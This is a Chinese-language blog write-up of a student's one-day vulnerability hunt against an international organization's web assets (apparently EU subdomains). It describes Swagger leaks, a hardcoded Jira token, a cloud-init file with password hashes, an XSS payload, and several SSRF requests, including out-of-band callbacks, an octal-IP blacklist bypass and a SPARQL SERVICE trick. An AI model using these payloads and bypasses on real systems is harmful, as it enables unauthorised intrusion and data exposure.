某国际组织漏洞挖掘记录
这篇文章记录了大三上的信安课设期间挖掘某国际组织漏洞的过程
这篇文章记录了大三上的信安课设期间挖掘某国际组织漏洞的过程。整个挖掘工作仅持续一天,由于课设项目的需要也没去挖掘后台漏洞。相关案例均已按照审核要求进行彻底脱敏。
资产收集
第一步是收集资产。某国际组织作为一个庞大的政治经济实体,其下辖机构众多,域名 xxx 覆盖的范围极大。为了覆盖尽可能多的资产,直接去小黄鱼租用一天的 Fofa API 权限,利用网络测绘数据筛选目标。
搜索子域名 xxx 并导出数据。Fofa 的一万条导出限制对于此目标已经足够使用,同时也有助于发现未被 DNS 记录收录的资产。
随后将所有 URL 导入辅助工具进行分拣,去重并剔除无法访问的目标后,最终获得四千多个不重复的 URL。
接着使用 Web 指纹识别工具扫描这些 URL。通过识别技术栈,可以针对性地寻找已被公开披露的漏洞。扫描时开启了 POC 检测和主动指纹识别功能。
工具界面显示不全,导出 CSV 文件查看完整结果。
信息泄露
翻阅 CSV 文件时,能够发现了一些信息泄露问题。其中较为常见的是 Swagger 文档泄露。这种未授权访问的接口文档直接泄露了 API 接口定义和参数结构。
这种漏洞虽然技术难度低,危害评级也不高,但可以作为课设成果糊弄老师。
Swagger 泄露列表
https://xxx/v3/api-docs
https://xxx/v3/api-docs
https://xxx/v3/api-docs
https://xxx/v3/api-docs
https://xxx/webjars/swagger-ui/index.html#/
https://xxx/v3/api-docs
https://xxx/swagger-ui/index.html#/
https://xxx/validator/swagger-ui.html
https://xxx/swagger-ui/index.html
Jira Token 泄露
目标站点为 https://xxx 。该站点目前已无法访问。
前端代码中直接硬编码了 Jira 的 Token。
通过该 Token,翻找 Jira 评论,在备注中发现了某台机器的 Cloud-Init 配置文件。
#cloud-config
users:
- name: vmuser
passwd: "$6$rounds=4096$SWVubDhpuFjRd6zH$028.pRwZD9Bp8lQD3vqA9IGEMvDdGLISEWN2jaounU.hJP31XN4.gHMKCizB6hDp3Frt4xu6AkgNQPDEL1Cl4/"
shell: /bin/bash
lock_passwd: false
ssh_pwauth: True
sudo: ""
groups: users
- name: vmadmin
passwd: "$6$rounds=4096$SWVubDhpuFjRd6zH$028.pRwZD9Bp8lQD3vqA9IGEMvDdGLISEWN2jaounU.hJP31XN4.gHMKCizB6hDp3Frt4xu6AkgNQPDEL1Cl4/"
shell: /bin/bash
lock_passwd: false
ssh_pwauth: True
sudo: ALL=(ALL) NOPASSWD:ALL
groups: users, admin其中包含的默认用户名和密码哈希增加了漏洞危害。
此外,该用于数据展示的站点还存在前端硬编码密码的问题。
输入 pso_report 可修改数据,输入 pso_publish 可推送到后端。这绕过了正常的鉴权机制。
XSS
https://xxx/ecprd/public/page/%3Csvg%20onload%3dalert(1)%3E
此处存在路径拼接 XSS 漏洞。使用 SVG payload 是因为其加载时会自动触发 onload 事件,无需交互即可执行脚本,便于验证。
SSRF
SSRF 案例一
在 https://xxx 的 Swagger 文档中,发现了一个接口:
test-connection 接口的功能涉及后端请求测试,可能存在 SSRF 漏洞。
测试表明 QAnswer-Api-Key 参数非必须。发送数据包如下。
POST /api/connectors/imap-connector/test-connection HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: application/json,*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Referer: https://xxx/swagger-ui/index.html
Connection: keep-alive
Content-Type: application/json
Cookie: cck1=%7B%22cm%22%3Atrue%2C%22all1st%22%3Atrue%7D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
{
"imap_server": "9e45ae68.log.nat.cloudns.ph.",
"email": "test@test.com",
"password": "test",
"port": 8000,
"use_ssl": false
}通过响应时间差异,可以判断内网主机存活情况,进而探测内网拓扑。
随后发现另一个具有类似参数的接口。
发送数据包进行测试。
POST /api/connectors/website/list HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Referer: https://xxx/swagger-ui/index.html
Content-Type: application/json
Content-Length: 169
Origin: https://xxx
Connection: keep-alive
Cookie: cck1=%7B%22cm%22%3Atrue%2C%22all1st%22%3Atrue%7D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
{
"url": "http://0f5c74c2.log.nat.cloudns.ph.",
"depth": 1,
"limit_per_level": 1,
"timeout": 1,
"cookies": {},
"local_storage": {},
"respect_robot": true
}测试确认该接口同样存在 SSRF 漏洞。
SSRF 案例二
在整理结果时,注意到 https://xxx 与前述域名相似。
Ping 检测显示两者位于同一个 C 段。通常这通过批量部署形成,推测可能为同类系统。
SSRF 案例三
在 https://xxx/validator/swagger-ui.html 文档中,找到了如下接口。
构造请求进行测试。
POST /validator/v2/TestRuns HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/json
Content-Length: 378
Origin: https://xxx
Connection: keep-alive
Referer: https://xxx/validator/swagger-ui.html
Cookie: cck1=%7B%22cm%22%3Atrue%2C%22all1st%22%3Atrue%7D; dtCookie=v_4_srv_36_sn_ER38ADVG3PIO7R5EUS01IR25ECLQGLFJ_app-3A1f0bf069627fc51a_1_ol_0_perc_100000_mul_1; rxVisitor=1768216772754N8BSV7D2IRAE97BOTV8C6GUA72IB24FC; dtPC=36$17176587_300h-vUPWVDKAMTARCBJIDDCWHGBABPPBSQUFM-0e0; rxvt=1768218976696|1768216772754; dtSa=-
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
{
"label": "Test run on 15:00 - 01.01.2017 with Conformance classes X,Y and Z",
"executableTestSuiteIds": [
"string"
],
"arguments": {},
"testObject": {
"id": "EID59692c11-df86-49ad-be7f-94a1e1ddd8da",
"password": "S3CR3T",
"resources": {
"data": "http://e2de3621.log.nat.cloudns.ph."
},
"username": "FrankDrebin"
}
}访问内网 IP 时被 403 拦截,判断可能存在黑名单过滤。
将 IP 转换为八进制格式 http://0300.0250.0.1 后,成功绕过了限制。
POST /validator/v2/TestRuns HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/json
Content-Length: 378
Origin: https://xxx
Connection: keep-alive
Referer: https://xxx/validator/swagger-ui.html
Cookie: cck1=%7B%22cm%22%3Atrue%2C%22all1st%22%3Atrue%7D; dtCookie=v_4_srv_36_sn_ER38ADVG3PIO7R5EUS01IR25ECLQGLFJ_app-3A1f0bf069627fc51a_1_ol_0_perc_100000_mul_1; rxVisitor=1768216772754N8BSV7D2IRAE97BOTV8C6GUA72IB24FC; dtPC=36$17176587_300h-vUPWVDKAMTARCBJIDDCWHGBABPPBSQUFM-0e0; rxvt=1768218976696|1768216772754; dtSa=-
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
{
"label": "Test run on 15:00 - 01.01.2017 with Conformance classes X,Y and Z",
"executableTestSuiteIds": [
"string"
],
"arguments": {},
"testObject": {
"id": "EID59692c11-df86-49ad-be7f-94a1e1ddd8da",
"password": "S3CR3T",
"resources": {
"data": "http://0300.0250.0.1"
},
"username": "FrankDrebin"
}
}SSRF 案例四
https://xxx 主页无法访问,但在 GitHub 搜索发现了 webapi 接口:
https://xxx/webapi/rdf/sparql
这是一个 SPARQL 查询接口。标准查询测试无果,没有什么特殊的数据。
SELECT ?s ?p ?o
WHERE {
?s ?p ?o
}
LIMIT 1000利用 SPARQL 的 SERVICE 关键字,可以强制服务器请求远程数据,从而触发 SSRF。
GET /webapi/rdf/sparql?default-graph-uri=&query=SELECT+*+WHERE+%7B%0D%0A++SERVICE+%3C{{urlencode(http://123.57.23.40:8000/)}}%3E+%7B%0D%0A++++%3Fs+%3Fp+%3Fo%0D%0A++%7D%0D%0A%7D&format=text%2Fhtml&timeout=0&debug=on&run=+Run+Query+ HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Referer: https://xxx/webapi/rdf/sparql
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i通过时间差异确认了漏洞存在。
一天内完成资产测绘、Swagger泄露、XSS、SSRF等漏洞挖掘,覆盖多个.europa.eu子域。
由 AI 根据全文自动生成,仅供参考,以原文为准